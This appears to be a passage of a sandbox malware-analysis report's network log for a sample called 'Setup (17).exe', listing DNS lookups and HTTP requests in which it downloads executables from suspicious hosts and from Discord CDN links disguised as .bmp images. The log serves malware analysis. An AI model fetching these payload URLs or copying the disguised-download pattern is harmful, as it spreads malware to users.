                                                                                                                                                                                                                                          Cache-Control: public, max-age=31536000
                                                                                                                                                                                                                                          Content-Disposition: attachment;%20filename=app.bmp
                                                                                                                                                                                                                                          ETag: "7627ef162e039104d830924c3dbdab77"
                                                                                                                                                                                                                                          Expires: Sun, 21 Aug 2022 10:23:20 GMT
                                                                                                                                                                                                                                          Last-Modified: Sat, 21 Aug 2021 06:21:49 GMT
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          CF-Cache-Status: HIT
                                                                                                                                                                                                                                          Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          x-goog-generation: 1629526909245040
                                                                                                                                                                                                                                          x-goog-hash: crc32c=2s6yUg==
                                                                                                                                                                                                                                          x-goog-hash: md5=difvFi4DkQTYMJJMPb2rdw==
                                                                                                                                                                                                                                          x-goog-metageneration: 1
                                                                                                                                                                                                                                          x-goog-storage-class: STANDARD
                                                                                                                                                                                                                                          x-goog-stored-content-encoding: identity
                                                                                                                                                                                                                                          x-goog-stored-content-length: 4659240
                                                                                                                                                                                                                                          X-GUploader-UploadID: ADPycdveETthH_9__l2wYrePAFaaa-idohy__ik2v0SYTN-009NgZaSB5FBUHgEcBK86zYPcn-txtUP5VtdtseyBKg
                                                                                                                                                                                                                                          X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2BwVsCjQ%2Fe7etUcxhlxVsDVvrrTWu2rQkwcZSFy6YezBvvFkiStkY6EF%2FTkJ7eDnw6%2FnoNceHKDYvuHb3ZMvTF8enhdcVxSYTIKQ%2B%2Fy70xHVJI36Q5ongFN3g4jOYtrj3oH7OYg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          thedownloadprivacytools.club
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          thedownloadprivacytools.club
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          2no.co
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          2no.co
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          2no.co
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          88.99.66.31
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          a.goatagame.com
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          a.goatagame.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          a.goatagame.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          172.67.145.110
                                                                                                                                                                                                                                          a.goatagame.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          104.21.49.131
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com
                                                                                                                                                                                                                                          IN CNAME
                                                                                                                                                                                                                                          s3-r-w.ap-south-1.amazonaws.com
                                                                                                                                                                                                                                          s3-r-w.ap-south-1.amazonaws.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          52.219.64.68
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatagame.com/userf/2201/snakehi.exe
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          172.67.145.110:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/2201/snakehi.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: a.goatagame.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 302 Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:21 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          location: https://bb.goatggame.com/userf/2201/57482a8d5afd71ead774543ddd55b203.exe
                                                                                                                                                                                                                                          CF-Cache-Status: BYPASS
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Twl5sHsrdwHGkvppCbu74JRvUVg%2FKl8z55PkQ1nM6Xegrn71lfuStbhsSGY9PEPQe%2B8ZhiVK7AqPiL%2BOLKdo21836LJQKNLkGSPdmzh7Of1Krr2lwopKzvKrWpGWknu2pqk%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 6823253d6b939d06-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          HEAD
                                                                                                                                                                                                                                          http://kaleidographic.com/pub1.exe
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          95.181.172.98:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          HEAD /pub1.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: kaleidographic.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:23 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.38 (Debian)
                                                                                                                                                                                                                                          Last-Modified: Sat, 21 Aug 2021 10:02:02 GMT
                                                                                                                                                                                                                                          ETag: "44800-5ca0ee0247804"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 280576
                                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/873056123240972371/878179890132815902/passat20.bmp
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.159.135.233:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /attachments/873056123240972371/878179890132815902/passat20.bmp HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: cdn.discordapp.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:21 GMT
                                                                                                                                                                                                                                          Content-Type: image/x-ms-bmp
                                                                                                                                                                                                                                          Content-Length: 3049912
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Ray: 6823253c3fdf1ea9-AMS
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Age: 96093
                                                                                                                                                                                                                                          Cache-Control: public, max-age=31536000
                                                                                                                                                                                                                                          Content-Disposition: attachment;%20filename=passat20.bmp
                                                                                                                                                                                                                                          ETag: "904cb2921cda1d9302914bf31af38cc4"
                                                                                                                                                                                                                                          Expires: Sun, 21 Aug 2022 10:23:21 GMT
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 07:33:21 GMT
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          CF-Cache-Status: HIT
                                                                                                                                                                                                                                          Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          x-goog-generation: 1629444801730929
                                                                                                                                                                                                                                          x-goog-hash: crc32c=2GrfhQ==
                                                                                                                                                                                                                                          x-goog-hash: md5=kEyykhzaHZMCkUvzGvOMxA==
                                                                                                                                                                                                                                          x-goog-metageneration: 1
                                                                                                                                                                                                                                          x-goog-storage-class: STANDARD
                                                                                                                                                                                                                                          x-goog-stored-content-encoding: identity
                                                                                                                                                                                                                                          x-goog-stored-content-length: 3049912
                                                                                                                                                                                                                                          X-GUploader-UploadID: ADPycdtutze8amDusRCmvelXhvBWzzcBQCZD3gieNAx_0hNlOl8hVF1Y052O3FWGVmayinUO9P-_vSWV7QJbHnsw4b8kpqaJog
                                                                                                                                                                                                                                          X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=CfPgTYU9EYYKhHnIYAL%2B9%2BMjOSyj8ZqTget8LOwK0l7%2F%2BCQtvb9QxXQYP4KWlshMjDVfuJCMVK37eSfE%2BNcKW0ba2scS7%2FU%2FiABU0xO7rVw8vD6BvPZ275y2no2niSNT6qeVpw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/873056123240972371/878288738072023080/falioca.bmp
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.159.135.233:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /attachments/873056123240972371/878288738072023080/falioca.bmp HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: cdn.discordapp.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:21 GMT
                                                                                                                                                                                                                                          Content-Type: image/x-ms-bmp
                                                                                                                                                                                                                                          Content-Length: 3238840
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Ray: 68232541cb360099-AMS
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Age: 70540
                                                                                                                                                                                                                                          Cache-Control: public, max-age=31536000
                                                                                                                                                                                                                                          Content-Disposition: attachment;%20filename=falioca.bmp
                                                                                                                                                                                                                                          ETag: "43ee7dcb1a407a4978174167c4d3a8ea"
                                                                                                                                                                                                                                          Expires: Sun, 21 Aug 2022 10:23:21 GMT
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 14:45:53 GMT
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          CF-Cache-Status: HIT
                                                                                                                                                                                                                                          Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          x-goog-generation: 1629470753074001
                                                                                                                                                                                                                                          x-goog-hash: crc32c=usItXA==
                                                                                                                                                                                                                                          x-goog-hash: md5=Q+59yxpAekl4F0FnxNOo6g==
                                                                                                                                                                                                                                          x-goog-metageneration: 1
                                                                                                                                                                                                                                          x-goog-storage-class: STANDARD
                                                                                                                                                                                                                                          x-goog-stored-content-encoding: identity
                                                                                                                                                                                                                                          x-goog-stored-content-length: 3238840
                                                                                                                                                                                                                                          X-GUploader-UploadID: ADPycdv3r2-Z-EE3Qy39D2mh3xxLb5_Buld0Z2nQUnUlriZbVTfZmfsuoRgSacKaxWP6q0jzR9J8QesbTf5su2q9w6k
                                                                                                                                                                                                                                          X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=BOC68%2FHWafnBtuy3%2Fdje1YoGirB8Y02gnB3DTWCTCm90kT9liHbIg7%2FMunsfhgWAltzo2DsMUGPOEQt7cJiJAMe24P3Mx9rxCjJ8Ev0XSt8Vq83sIH4tUqFvbFHyRN7JFk0%2FRQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/873056123240972371/878531363169525770/Real21.bmp
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.159.135.233:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /attachments/873056123240972371/878531363169525770/Real21.bmp HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: cdn.discordapp.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:22 GMT
                                                                                                                                                                                                                                          Content-Type: image/x-ms-bmp
                                                                                                                                                                                                                                          Content-Length: 524800
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Ray: 682325426e2f0119-AMS
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Age: 12751
                                                                                                                                                                                                                                          Cache-Control: public, max-age=31536000
                                                                                                                                                                                                                                          Content-Disposition: attachment;%20filename=Real21.bmp
                                                                                                                                                                                                                                          ETag: "dcb11fa3de5f2d8e38920601724dab09"
                                                                                                                                                                                                                                          Expires: Sun, 21 Aug 2022 10:23:21 GMT
                                                                                                                                                                                                                                          Last-Modified: Sat, 21 Aug 2021 06:49:59 GMT
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          CF-Cache-Status: HIT
                                                                                                                                                                                                                                          Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          x-goog-generation: 1629528599345666
                                                                                                                                                                                                                                          x-goog-hash: crc32c=Mee6Dw==
                                                                                                                                                                                                                                          x-goog-hash: md5=3LEfo95fLY44kgYBck2rCQ==
                                                                                                                                                                                                                                          x-goog-metageneration: 1
                                                                                                                                                                                                                                          x-goog-storage-class: STANDARD
                                                                                                                                                                                                                                          x-goog-stored-content-encoding: identity
                                                                                                                                                                                                                                          x-goog-stored-content-length: 524800
                                                                                                                                                                                                                                          X-GUploader-UploadID: ADPycdtUsH1MW-QZNsQMe6lEqLQEIStHZCwOO5lx1hG_oinexcm9O6mO_0r0MAjuex5IbRefsL_-PWaK-gBeWT99Ug
                                                                                                                                                                                                                                          X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=kuFvnWAyEOf8b%2FTA6EDhQBbbmIAHvTKITqBi7eyXGm%2Fw%2F%2BX5BRqT5o5q%2BoCO%2BRUWvq%2BtSPrj9f2IR6IcKutbcXsNYow1UTE3ti6zPU3mLoe59XOVN%2BvVUW4y3ofX1Ng1oZLr2A%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://kaleidographic.com/pub1.exe
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          95.181.172.98:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /pub1.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: kaleidographic.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:24 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.38 (Debian)
                                                                                                                                                                                                                                          Last-Modified: Sat, 21 Aug 2021 10:02:02 GMT
                                                                                                                                                                                                                                          ETag: "44800-5ca0ee0247804"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 280576
                                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/875703530030260245/877542349398474782/VerminateMechanize_2021-08-18_15-57.bmp
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.159.135.233:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /attachments/875703530030260245/877542349398474782/VerminateMechanize_2021-08-18_15-57.bmp HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: cdn.discordapp.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:27 GMT
                                                                                                                                                                                                                                          Content-Type: image/x-ms-bmp
                                                                                                                                                                                                                                          Content-Length: 270336
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Ray: 68232564fb6e0c59-AMS
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Age: 248604
                                                                                                                                                                                                                                          Cache-Control: public, max-age=31536000
                                                                                                                                                                                                                                          Content-Disposition: attachment;%20filename=VerminateMechanize_2021-08-18_15-57.bmp
                                                                                                                                                                                                                                          ETag: "c7ccbd62c259a382501ff67408594011"
                                                                                                                                                                                                                                          Expires: Sun, 21 Aug 2022 10:23:27 GMT
                                                                                                                                                                                                                                          Last-Modified: Wed, 18 Aug 2021 13:20:00 GMT
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          CF-Cache-Status: HIT
                                                                                                                                                                                                                                          Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          x-goog-generation: 1629292800090974
                                                                                                                                                                                                                                          x-goog-hash: crc32c=G8FxUQ==
                                                                                                                                                                                                                                          x-goog-hash: md5=x8y9YsJZo4JQH/Z0CFlAEQ==
                                                                                                                                                                                                                                          x-goog-metageneration: 1
                                                                                                                                                                                                                                          x-goog-storage-class: STANDARD
                                                                                                                                                                                                                                          x-goog-stored-content-encoding: identity
                                                                                                                                                                                                                                          x-goog-stored-content-length: 270336
                                                                                                                                                                                                                                          X-GUploader-UploadID: ADPycds5aNkM8EZSj02CTVLEN5uJ6P4uhyKzprLPG3W1VhZ8N0EMUVy9SWJu_O0g3Xzo-yHsWugSzuxl3GVRmbNPBUOBC_wYsg
                                                                                                                                                                                                                                          X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2FFNq%2BBG4Bj%2BZEyYEGFFw2Vj1w0Ly%2BjaSTachNZHy7v1Jxuwhse0Jr4qtGUCMgbXv6hlOXHib%2B3u%2BdKoVozwyZqY4KRGBTZdoCAS5WvGbr09ZdrjJRzRXmCfLaNVKb75v6irSJA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/873056123240972371/878524255539716106/help.bmp
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.159.135.233:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /attachments/873056123240972371/878524255539716106/help.bmp HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: cdn.discordapp.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:27 GMT
                                                                                                                                                                                                                                          Content-Type: image/x-ms-bmp
                                                                                                                                                                                                                                          Content-Length: 328704
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Ray: 68232565b9e79d4e-AMS
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Age: 14279
                                                                                                                                                                                                                                          Cache-Control: public, max-age=31536000
                                                                                                                                                                                                                                          Content-Disposition: attachment;%20filename=help.bmp
                                                                                                                                                                                                                                          ETag: "94c78c311f499024a9f97cfdbb073623"
                                                                                                                                                                                                                                          Expires: Sun, 21 Aug 2022 10:23:27 GMT
                                                                                                                                                                                                                                          Last-Modified: Sat, 21 Aug 2021 06:21:44 GMT
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          CF-Cache-Status: HIT
                                                                                                                                                                                                                                          Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          x-goog-generation: 1629526904756486
                                                                                                                                                                                                                                          x-goog-hash: crc32c=BgygxA==
                                                                                                                                                                                                                                          x-goog-hash: md5=lMeMMR9JkCSp+Xz9uwc2Iw==
                                                                                                                                                                                                                                          x-goog-metageneration: 1
                                                                                                                                                                                                                                          x-goog-storage-class: STANDARD
                                                                                                                                                                                                                                          x-goog-stored-content-encoding: identity
                                                                                                                                                                                                                                          x-goog-stored-content-length: 328704
                                                                                                                                                                                                                                          X-GUploader-UploadID: ADPycdv0M1urNGhXM4AVjwh9N4hSfa6SMwzt8MwDGeyGdoJ0qjN4_0qsduVMWmrrvia38-LeNmUeSCxBtE99k_cGhw
                                                                                                                                                                                                                                          X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=KqV8%2B5XWkm2hsebsSxJuYVSx9Du5DupDmd%2F26zRloVAJ7Wc8TSoqYOmXV3XcQpG1WtFomFavZbpNsQlRLzguSzcAZm1dzx2RJg%2Bo2hWWOeOFvNipZFpp%2FXr%2F%2BTvQpaZXEmJmOA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/873992598220599389/877976108329496657/setup.exe
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.159.135.233:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /attachments/873992598220599389/877976108329496657/setup.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: cdn.discordapp.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:33 GMT
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                          Content-Length: 333824
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Ray: 68232589cdbe0bf5-AMS
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Age: 144320
                                                                                                                                                                                                                                          Cache-Control: public, max-age=31536000
                                                                                                                                                                                                                                          Content-Disposition: attachment;%20filename=setup.exe
                                                                                                                                                                                                                                          ETag: "e4deef56f8949378a1c650126cc4368b"
                                                                                                                                                                                                                                          Expires: Sun, 21 Aug 2022 10:23:33 GMT
                                                                                                                                                                                                                                          Last-Modified: Thu, 19 Aug 2021 18:03:36 GMT
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          CF-Cache-Status: HIT
                                                                                                                                                                                                                                          Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          x-goog-generation: 1629396216285036
                                                                                                                                                                                                                                          x-goog-hash: crc32c=g1tuIA==
                                                                                                                                                                                                                                          x-goog-hash: md5=5N7vVviUk3ihxlASbMQ2iw==
                                                                                                                                                                                                                                          x-goog-metageneration: 1
                                                                                                                                                                                                                                          x-goog-storage-class: STANDARD
                                                                                                                                                                                                                                          x-goog-stored-content-encoding: identity
                                                                                                                                                                                                                                          x-goog-stored-content-length: 333824
